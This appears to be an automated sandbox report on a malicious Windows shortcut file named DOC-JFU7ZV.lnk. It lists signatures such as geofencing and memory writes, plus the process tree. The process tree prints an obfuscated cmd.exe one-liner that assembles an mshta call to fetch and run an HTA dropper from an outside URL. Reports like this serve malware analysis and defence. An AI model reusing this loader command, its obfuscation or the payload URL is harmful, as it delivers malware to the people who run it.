Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 08:30
General
- Target DOC-JFU7ZV.lnk
- Size 2KB
- Sample260804-kefmzagb52
- SHA256 a8bfdcd9e9590bd8e0c8343f6888a84e32210ef2377d92fa3de03b5cd5e9f977
Score
10/10
Malware Config
Extracted
Language
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hta
Source
URLs
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hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-JFU7ZV.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set RNTMn=dbgblixayerbplodwoyrudbg&&set PCy=winihtpwin&&set mfK=winchprgmvpzbcmzhmcwin&&set kvWGQ=1nst2&&set Bw=7artfu8&&set uH=oldizgywezvyueaugold&&set EKUFm=cachelruakfwpcache&&set xYa=winejwnrpubvwin&&set HEC=8s3mshtwr3&&set oksrV=y9azn&&set Xmy=datachbgjbxkvqmdat&&set MumG=cfgsjhrdoepmkmftkratlpttcfg&&set fPr=h@tt@ps://@ma-@p@[email protected]/h/esta@gio1.@ph@p?r=3914@69@F@B5D82DB&&start /b !HEC:~3,4!!oksrV:~2,1! !fPr:@=!&&set hL=done"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵
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